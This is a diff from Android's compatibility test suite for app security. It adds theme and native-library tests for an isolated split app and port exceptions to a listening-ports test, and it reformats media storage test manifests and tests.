+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
+        assertTextViewBGColor(activity, FEATURE_C_TEXTVIEW_ID, testTheme.mColorBackground);
+
+        assertActivitiesDoNotExist(activity, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY);
+        assertResourcesDoNotExist(activity, FEATURE_A_STRING, FEATURE_B_STRING,
+                TestTheme.THEME_FEATURE_A, TestTheme.THEME_FEATURE_B);
     }
 
     @Test
     public void shouldLoadFeatureCPolishLocale() throws Exception {
-        final Context context = mFeatureActivityRule.launchActivity(
-                new Intent().setComponent(FEATURE_C_ACTIVITY)).createConfigurationContext(PL);
-        final Resources resources = context.getResources();
+        BaseActivity.setOverrideConfiguration(PL);
+        final Activity activity = mActivityRule.launchActivity(
+                new Intent().setComponent(FEATURE_C_ACTIVITY));
+        final TestTheme testTheme = new TestTheme(activity, TestTheme.THEME_FEATURE_C);
+        final Resources resources = activity.getResources();
         assertThat(resources, notNullValue());
 
         assertThat(resources.getString(R.string.base_string), equalTo("Base String Polish"));
+        new TestTheme(activity, R.style.Theme_Base).assertThemeBaseValues_pl();
 
         int resourceId = resources.getIdentifier(FEATURE_C_STRING, null, null);
         assertThat(resources.getString(resourceId), equalTo("Feature C String Polish"));
+        testTheme.assertThemeFeatureCValues_pl();
 
-        assertActivitiesDoNotExist(context, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY);
-        assertResourcesDoNotExist(context, FEATURE_A_STRING, FEATURE_B_STRING);
+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
+        assertTextViewBGColor(activity, FEATURE_C_TEXTVIEW_ID, testTheme.mColorBackground);
+
+        assertActivitiesDoNotExist(activity, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY);
+        assertResourcesDoNotExist(activity, FEATURE_A_STRING, FEATURE_B_STRING,
+                TestTheme.THEME_FEATURE_A, TestTheme.THEME_FEATURE_B);
+    }
+
+    @Test
+    public void shouldLoadFeatureADiffRevision() throws Exception {
+        final Activity activity = mActivityRule.launchActivity(
+                new Intent().setComponent(FEATURE_A_ACTIVITY));
+        final TestTheme testTheme = new TestTheme(activity, TestTheme.THEME_FEATURE_A);
+        final Resources resources = activity.getResources();
+        assertThat(resources, notNullValue());
+
+        assertThat(resources.getString(R.string.base_string), equalTo("Base String Default"));
+        new TestTheme(activity, R.style.Theme_Base).assertThemeBaseValues();
+
+        int resourceId = resources.getIdentifier(FEATURE_A_STRING, null, null);
+        assertThat(resources.getString(resourceId), equalTo("Feature A String Diff Revision"));
+        testTheme.assertThemeFeatureAValuesDiffRev();
+
+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
+        assertTextViewBGColor(activity, FEATURE_A_TEXTVIEW_ID, testTheme.mColorBackground);
+
+        assertActivitiesDoNotExist(activity, FEATURE_B_ACTIVITY, FEATURE_C_ACTIVITY);
+        assertResourcesDoNotExist(activity, FEATURE_B_STRING, FEATURE_C_STRING,
+                TestTheme.THEME_FEATURE_B, TestTheme.THEME_FEATURE_C);
     }
 
     @Test
@@ -244,6 +349,62 @@
         assertThat(results.getString("feature_c"), equalTo("Feature C String Default"));
     }
 
+    @Test
+    public void shouldNotFoundFeatureC() throws Exception {
+        assertActivityDoNotExist(FEATURE_C_ACTIVITY);
+    }
+
+    @Test
+    public void testNativeJni_shouldBeLoaded() throws Exception {
+        assertThat(Native.add(7, 11), equalTo(18));
+    }
+
+    @Test
+    public void testNativeSplit_withoutExtractLibs_nativeLibraryCannotBeLoaded() throws Exception {
+        final Intent intent = new Intent();
+        intent.setClassName(PACKAGE, "com.android.cts.isolatedsplitapp.jni.JniActivity");
+        mActivityRule.launchActivity(intent);
+        mActivityRule.finishActivity();
+        Instrumentation.ActivityResult result = mActivityRule.getActivityResult();
+        final Intent resultData = result.getResultData();
+        final String errorMessage = resultData.getStringExtra(Intent.EXTRA_RETURN_RESULT);
+        assertThat(errorMessage, containsString("dlopen failed"));
+    }
+
+    @Test
+    public void testNative_getNumberADirectly_shouldBeSeven() throws Exception {
+        assertThat(Native.getNumberADirectly(), equalTo(7));
+    }
+
+    @Test
+    public void testNative_getNumberAViaProxy_shouldBeSeven() throws Exception {
+        assertThat(Native.getNumberAViaProxy(), equalTo(7));
+    }
+
+    @Test
+    public void testNative_getNumberBDirectly_shouldBeEleven() throws Exception {
+        assertThat(Native.getNumberBDirectly(), equalTo(11));
+    }
+
+    @Test
+    public void testNative_getNumberBViaProxy_shouldBeEleven() throws Exception {
+        assertThat(Native.getNumberBViaProxy(), equalTo(11));
+    }
+
+    @Test
+    public void testNative_cannotLoadSharedLibrary() throws Exception {
+        assertThat(Native.isLoadedLibrary(), equalTo(false));
+    }
+
+    private void assertActivityDoNotExist(ComponentName activity) {
+        try {
+            mActivityRule.launchActivity(new Intent().setComponent(activity));
+            fail("Activity " + activity + " is accessible");
+        } catch (RuntimeException e) {
+            // Pass.
+        }
+    }
+
     private static void assertActivitiesDoNotExist(Context context, ComponentName... activities) {
         for (ComponentName activity : activities) {
             try {
@@ -265,6 +426,41 @@
         }
     }
 
+    private static void assertActivityThemeApplied(Activity activity, TestTheme testTheme) {
+        assertBaseLayoutBGColor(activity, testTheme.mBaseColor);
+        assertThat(activity.getWindow().getStatusBarColor(), equalTo(testTheme.mStatusBarColor));
+        assertThat(activity.getWindow().getNavigationBarColor(),
+                equalTo(testTheme.mNavigationBarColor));
+        assertDrawableColor(activity.getWindow().getDecorView().getBackground(),
+                testTheme.mWindowBackground);
+    }
+
+    private static void assertBaseLayoutBGColor(Activity activity, int expected) {
+        final LinearLayout layout = activity.findViewById(R.id.base_layout);
+        final Drawable background = layout.getBackground();
+        assertDrawableColor(background, expected);
+    }
+
+    private static void assertTextViewBGColor(Activity activity, String nameOfIdentifier,
+            int expected) {
+        final int viewId = activity.getResources().getIdentifier(nameOfIdentifier, null, null);
+        assertThat(viewId, not(equalTo(0)));
+
+        final View view = activity.findViewById(viewId);
+        final Drawable background = view.getBackground();
+        assertDrawableColor(background, expected);
+    }
+
+    private static void assertDrawableColor(Drawable drawable, int expected) {
+        int color = 0;
+        if (drawable instanceof ColorDrawable) {
+            color = ((ColorDrawable) drawable).getColor();
+        } else {
+            fail("Can't get drawable color");
+        }
+        assertThat(color, equalTo(expected));
+    }
+
     private static class ExtrasResultReceiver extends BroadcastReceiver {
         private final CompletableFuture<Bundle> mResult = new CompletableFuture<>();
 
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/TestTheme.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/TestTheme.java
new file mode 100644
index 0000000..5909a26
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/TestTheme.java
@@ -0,0 +1,240 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.isolatedsplitapp;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.content.res.Resources;
+import android.content.res.TypedArray;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.view.ContextThemeWrapper;
+
+/**
+ * A helper class to retrieve theme values of Theme_Base, Theme_Feature_A, Theme_Feature_B or
+ * Theme_Feature_C.
+ */
+public class TestTheme {
+
+    public static final String THEME_FEATURE_A =
+            "com.android.cts.isolatedsplitapp.feature_a:style/Theme_Feature_A";
+    public static final String THEME_FEATURE_B =
+            "com.android.cts.isolatedsplitapp.feature_b:style/Theme_Feature_B";
+    public static final String THEME_FEATURE_C =
+            "com.android.cts.isolatedsplitapp.feature_c:style/Theme_Feature_C";
+
+    public static final int COLOR_BLACK = 0xFF000000;
+    public static final int COLOR_RED = 0xFFFF0000;
+    public static final int COLOR_GREEN = 0xFF00FF00;
+    public static final int COLOR_BLUE = 0xFF0000FF;
+    public static final int COLOR_GRAY = 0xFF888888;
+    public static final int COLOR_LTGRAY = 0xFF444444;
+    public static final int COLOR_DKGRAY = 0xFFCCCCCC;
+    public static final int COLOR_YELLOW = 0xFFFFFF00;
+    public static final int COLOR_PURPLE = 0xFF800080;
+    public static final int COLOR_PINK = 0xFFFFC0CB;
+    public static final int COLOR_ORANGE = 0xFFFFA500;
+    public static final int COLOR_LINEN = 0xFFFAF0E6;
+    public static final int COLOR_MINTCREAM = 0xFFF5FFFA;
+    public static final int COLOR_CYAN = 0xFF00FFFF;
+    public static final int COLOR_MAGENTA = 0xFFFF00FF;
+    public static final int COLOR_MAROON = 0xFF800000;
+    public static final int COLOR_NAVY = 0xFF000080;
+    public static final int COLOR_OLIVE = 0xFF808000;
+
+    private static final String ATTR_THEME_PRIMARY_COLOR =
+            "com.android.cts.isolatedsplitapp.feature_a:attr/themePrimaryColor";
+    private static final String ATTR_THEME_SECONDARY_COLOR =
+            "com.android.cts.isolatedsplitapp.feature_b:attr/themeSecondaryColor";
+    private static final String ATTR_THEME_TERTIARY_COLOR =
+            "com.android.cts.isolatedsplitapp.feature_c:attr/themeTertiaryColor";
+
+    /** {@link R.attr.themeName} */
+    public String mName;
+
+    /** {@link R.attr.themeBaseColor} */
+    public int mBaseColor;
+
+    /** {@link #ATTR_THEME_PRIMARY_COLOR} */
+    public int mPrimaryColor;
+
+    /** {@link #ATTR_THEME_SECONDARY_COLOR} */
+    public int mSecondaryColor;
+
+    /** {@link #ATTR_THEME_TERTIARY_COLOR} */
+    public int mTertiaryColor;
+
+    /** {#link android.R.attr.colorBackground} */
+    public int mColorBackground;
+
+    /** {#link android.R.attr.navigationBarColor} */
+    public int mNavigationBarColor;
+
+    /** {#link android.R.attr.statusBarColor} */
+    public int mStatusBarColor;
+
+    /** {#link android.R.attr.windowBackground} */
+    public int mWindowBackground;
+
+    public TestTheme(Context context, String nameOfIdentifier) {
+        setTheme(context, nameOfIdentifier);
+    }
+
+    public TestTheme(Context context, int themeId) {
+        setTheme(context, themeId);
+    }
+
+    public void assertThemeBaseValues() {
+        assertThat(mName).isEqualTo("Base Theme");
+        assertThat(mBaseColor).isEqualTo(COLOR_BLACK);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_RED);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_GREEN);
+        assertThat(mWindowBackground).isEqualTo(mBaseColor);
+    }
+
+    public void assertThemeBaseValues_pl() {
+        assertThat(mName).isEqualTo("Base Theme Polish");
+        assertThat(mBaseColor).isEqualTo(COLOR_GREEN);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_BLACK);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_RED);
+        assertThat(mWindowBackground).isEqualTo(mBaseColor);
+    }
+
+    public void assertThemeFeatureAValues() {
+        assertThat(mName).isEqualTo("Feature A Theme");
+        assertThat(mBaseColor).isEqualTo(COLOR_BLUE);
+        assertThat(mPrimaryColor).isEqualTo(COLOR_GRAY);
+        assertThat(mColorBackground).isEqualTo(COLOR_LTGRAY);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_DKGRAY);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_YELLOW);
+        assertThat(mWindowBackground).isEqualTo(mPrimaryColor);
+    }
+
+    public void assertThemeFeatureAValues_pl() {
+        assertThat(mName).isEqualTo("Feature A Theme Polish");
+        assertThat(mBaseColor).isEqualTo(COLOR_YELLOW);
+        assertThat(mPrimaryColor).isEqualTo(COLOR_DKGRAY);
+        assertThat(mColorBackground).isEqualTo(COLOR_GRAY);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_LTGRAY);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_BLUE);
+        assertThat(mWindowBackground).isEqualTo(mPrimaryColor);
+    }
+
+    public void assertThemeFeatureAValuesDiffRev() {
+        assertThat(mName).isEqualTo("Feature A Theme Diff Revision");
+        assertThat(mBaseColor).isEqualTo(COLOR_YELLOW);
+        assertThat(mPrimaryColor).isEqualTo(COLOR_BLUE);
+        assertThat(mColorBackground).isEqualTo(COLOR_GRAY);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_LTGRAY);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_DKGRAY);
+        assertThat(mWindowBackground).isEqualTo(mPrimaryColor);
+    }
+
+    public void assertThemeFeatureBValues() {
+        assertThat(mName).isEqualTo("Feature B Theme");
+        assertThat(mBaseColor).isEqualTo(COLOR_PURPLE);
+        assertThat(mSecondaryColor).isEqualTo(COLOR_PINK);
+        assertThat(mColorBackground).isEqualTo(COLOR_ORANGE);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_LINEN);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_MINTCREAM);
+        assertThat(mWindowBackground).isEqualTo(mSecondaryColor);
+    }
+
+    public void assertThemeFeatureBValues_pl() {
+        assertThat(mName).isEqualTo("Feature B Theme Polish");
+        assertThat(mBaseColor).isEqualTo(COLOR_MINTCREAM);
+        assertThat(mSecondaryColor).isEqualTo(COLOR_LINEN);
+        assertThat(mColorBackground).isEqualTo(COLOR_PINK);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_ORANGE);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_PURPLE);
+        assertThat(mWindowBackground).isEqualTo(mSecondaryColor);
+    }
+
+    public void assertThemeFeatureCValues() {
+        assertThat(mName).isEqualTo("Feature C Theme");
+        assertThat(mBaseColor).isEqualTo(COLOR_CYAN);
+        assertThat(mTertiaryColor).isEqualTo(COLOR_MAGENTA);
+        assertThat(mColorBackground).isEqualTo(COLOR_MAROON);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_NAVY);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_OLIVE);
+        assertThat(mWindowBackground).isEqualTo(mTertiaryColor);
+    }
+
+    public void assertThemeFeatureCValues_pl() {
+        assertThat(mName).isEqualTo("Feature C Theme Polish");
+        assertThat(mBaseColor).isEqualTo(COLOR_OLIVE);
+        assertThat(mTertiaryColor).isEqualTo(COLOR_NAVY);
+        assertThat(mColorBackground).isEqualTo(COLOR_MAGENTA);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_MAROON);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_CYAN);
+        assertThat(mWindowBackground).isEqualTo(mTertiaryColor);
+    }
+
+    private void setTheme(Context context, String nameOfIdentifier) {
+        final int themeId = resolveResourceId(context , nameOfIdentifier);
+        if (themeId == 0) {
+            throw new IllegalArgumentException("Failed to a resource identifier for the "
+                    + nameOfIdentifier);
+        }
+        setTheme(context, themeId);
+    }
+
+    private void setTheme(Context context, int themeId) {
+        final Resources.Theme theme = new ContextThemeWrapper(context, themeId).getTheme();
+        mName = getString(theme, R.attr.themeName);
+        mBaseColor = getColor(theme, R.attr.themeBaseColor);
+        mPrimaryColor = getColor(theme, resolveResourceId(context, ATTR_THEME_PRIMARY_COLOR));
+        mSecondaryColor = getColor(theme, resolveResourceId(context, ATTR_THEME_SECONDARY_COLOR));
+        mTertiaryColor = getColor(theme, resolveResourceId(context, ATTR_THEME_TERTIARY_COLOR));
+        mColorBackground = getColor(theme, android.R.attr.colorBackground);
+        mNavigationBarColor = getColor(theme, android.R.attr.navigationBarColor);
+        mStatusBarColor = getColor(theme, android.R.attr.statusBarColor);
+        mWindowBackground = getDrawableColor(theme, android.R.attr.windowBackground);
+    }
+
+    private int resolveResourceId(Context context, String nameOfIdentifier) {
+        return context.getResources().getIdentifier(nameOfIdentifier, null, null);
+    }
+
+    private String getString(Resources.Theme theme, int resourceId) {
+        final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+        final String string = ta.getString(0);
+        ta.recycle();
+        return string;
+    }
+
+    private int getColor(Resources.Theme theme, int resourceId) {
+        if (resourceId == 0) {
+            return 0;
+        }
+        final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+        final int color = ta.getColor(0, 0);
+        ta.recycle();
+        return color;
+    }
+
+    private int getDrawableColor(Resources.Theme theme, int resourceId) {
+        final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+        final Drawable color = ta.getDrawable(0);
+        ta.recycle();
+        if (!(color instanceof ColorDrawable)) {
+            return 0;
+        }
+        return ((ColorDrawable) color).getColor();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
index 0badb96..8deeb76 100644
--- a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
+++ b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
@@ -73,6 +73,12 @@
         EXCEPTION_PATTERNS.add(":: 1002");          // used by remote control
         EXCEPTION_PATTERNS.add(":: 1020");          // used by remote control
         EXCEPTION_PATTERNS.add("0.0.0.0:7275");     // used by supl
+        // b/150186547 ports
+        EXCEPTION_PATTERNS.add("192.168.17.10:48881");
+        EXCEPTION_PATTERNS.add("192.168.17.10:48896");
+        EXCEPTION_PATTERNS.add("192.168.17.10:48897");
+        EXCEPTION_PATTERNS.add("192.168.17.10:48898");
+        EXCEPTION_PATTERNS.add("192.168.17.10:48899");
         //no current patterns involve address, port and UID combinations
         //Example for when necessary: EXCEPTION_PATTERNS.add("0.0.0.0:5555 10000")
 
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
index d5162f4..13e1934 100644
--- a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
@@ -20,8 +20,8 @@
     name: "CtsLocationPolicyApp",
     defaults: ["cts_defaults"],
     libs: [
-        "android.test.runner",
-        "android.test.base",
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
     ],
     static_libs: [
         "androidx.test.rules",
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest.xml
index cf69eaa..64f7657 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest.xml
@@ -13,28 +13,33 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.mediastorageapp">
+     package="com.android.cts.mediastorageapp">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="com.android.cts.mediastorageapp.StubActivity">
+        <activity android:name="com.android.cts.mediastorageapp.StubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.APP_GALLERY" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.APP_GALLERY"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="com.android.cts.mediastorageapp.GetResultActivity" />
+        <activity android:name="com.android.cts.mediastorageapp.GetResultActivity"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.mediastorageapp" />
+         android:targetPackage="com.android.cts.mediastorageapp"/>
 
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_MEDIA"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest28.xml b/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest28.xml
index 93e4bc7..cefd4f8 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest28.xml
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest28.xml
@@ -13,32 +13,33 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.mediastorageapp28">
+     package="com.android.cts.mediastorageapp28">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="com.android.cts.mediastorageapp.StubActivity">
+        <activity android:name="com.android.cts.mediastorageapp.StubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.APP_GALLERY" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.APP_GALLERY"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="com.android.cts.mediastorageapp.GetResultActivity" />
+        <activity android:name="com.android.cts.mediastorageapp.GetResultActivity"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.mediastorageapp28" />
+         android:targetPackage="com.android.cts.mediastorageapp28"/>
 
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 
-    <uses-sdk
-        android:minSdkVersion="28"
-        android:targetSdkVersion="28" />
+    <uses-sdk android:minSdkVersion="28"
+         android:targetSdkVersion="28"/>
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest29.xml b/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest29.xml
index a73ab0e..3412e0c 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest29.xml
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest29.xml
@@ -13,32 +13,32 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.mediastorageapp29">
+     package="com.android.cts.mediastorageapp29">
 
-    <application
-        android:requestLegacyExternalStorage="true">
-        <uses-library android:name="android.test.runner" />
+    <application android:requestLegacyExternalStorage="true">
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="com.android.cts.mediastorageapp.StubActivity">
+        <activity android:name="com.android.cts.mediastorageapp.StubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.APP_GALLERY" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.APP_GALLERY"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="com.android.cts.mediastorageapp.GetResultActivity" />
+        <activity android:name="com.android.cts.mediastorageapp.GetResultActivity"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.mediastorageapp29" />
+         android:targetPackage="com.android.cts.mediastorageapp29"/>
 
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 
-    <uses-sdk
-        android:minSdkVersion="29"
-        android:targetSdkVersion="29" />
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="29"/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/TEST_MAPPING b/hostsidetests/appsecurity/test-apps/MediaStorageApp/TEST_MAPPING
new file mode 100644
index 0000000..b08a98e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/TEST_MAPPING
@@ -0,0 +1,13 @@
+{
+    "presubmit-large": [
+        {
+            "name": "CtsAppSecurityHostTestCases",
+            "options": [
+                {
+                    "include-filter": "android.appsecurity.cts.ExternalStorageHostTest"
+                }
+            ]
+        }
+    ]
+}
+
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/GetResultActivity.java b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/GetResultActivity.java
index a4ea510..4d42a34 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/GetResultActivity.java
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/GetResultActivity.java
@@ -66,12 +66,12 @@
     public Result getResult() {
         final Result result;
         try {
-            result = sResult.poll(30, TimeUnit.SECONDS);
+            result = sResult.poll(40, TimeUnit.SECONDS);
         } catch (InterruptedException e) {
             throw new RuntimeException(e);
         }
         if (result == null) {
-            throw new IllegalStateException("Activity didn't receive a Result in 30 seconds");
+            throw new IllegalStateException("Activity didn't receive a Result in 40 seconds");
         }
         return result;
     }
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
index 0fb7678..5b30cd1 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
@@ -18,6 +18,8 @@
 
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
@@ -52,12 +54,16 @@
 import com.android.cts.mediastorageapp.MediaStoreUtils.PendingParams;
 import com.android.cts.mediastorageapp.MediaStoreUtils.PendingSession;
 
+import com.google.common.io.ByteStreams;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.io.File;
+import java.io.FileInputStream;
 import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
@@ -90,33 +96,8 @@
     }
 
     @Test
-    public void testSandboxed() throws Exception {
-        doSandboxed(true);
-    }
-
-    @Test
-    public void testNotSandboxed() throws Exception {
-        doSandboxed(false);
-    }
-
-    @Test
-    public void testStageFiles() throws Exception {
-        final File jpg = stageFile(TEST_JPG);
-        assertTrue(jpg.exists());
-        final File pdf = stageFile(TEST_PDF);
-        assertTrue(pdf.exists());
-    }
-
-    @Test
-    public void testClearFiles() throws Exception {
-        TEST_JPG.delete();
-        assertNull(MediaStore.scanFile(mContentResolver, TEST_JPG));
-        TEST_PDF.delete();
-        assertNull(MediaStore.scanFile(mContentResolver, TEST_PDF));
-    }
-
-    private void doSandboxed(boolean sandboxed) throws Exception {
-        assertEquals(!sandboxed, Environment.isExternalStorageLegacy());
+    public void testLegacy() throws Exception {
+        assertTrue(Environment.isExternalStorageLegacy());
 
         // We can always see mounted state
         assertEquals(Environment.MEDIA_MOUNTED, Environment.getExternalStorageState());
@@ -124,10 +105,8 @@
         // We might have top-level access
         final File probe = new File(Environment.getExternalStorageDirectory(),
                 "cts" + System.nanoTime());
-        if (!sandboxed) {
-            assertTrue(probe.createNewFile());
-            assertNotNull(Environment.getExternalStorageDirectory().list());
-        }
+        assertTrue(probe.createNewFile());
+        assertNotNull(Environment.getExternalStorageDirectory().list());
 
         // We always have our package directories
         final File probePackage = new File(mContext.getExternalFilesDir(null),
@@ -149,15 +128,24 @@
             }
         }
 
-        if (sandboxed) {
-            // If we're sandboxed, we should only see the image
-            assertTrue(seen.contains(ContentUris.parseId(jpgUri)));
-            assertFalse(seen.contains(ContentUris.parseId(pdfUri)));
-        } else {
-            // If we're not sandboxed, we should see both
-            assertTrue(seen.contains(ContentUris.parseId(jpgUri)));
-            assertTrue(seen.contains(ContentUris.parseId(pdfUri)));
-        }
+        assertTrue(seen.contains(ContentUris.parseId(jpgUri)));
+        assertTrue(seen.contains(ContentUris.parseId(pdfUri)));
+    }
+
+    @Test
+    public void testStageFiles() throws Exception {
+        final File jpg = stageFile(TEST_JPG);
+        assertTrue(jpg.exists());
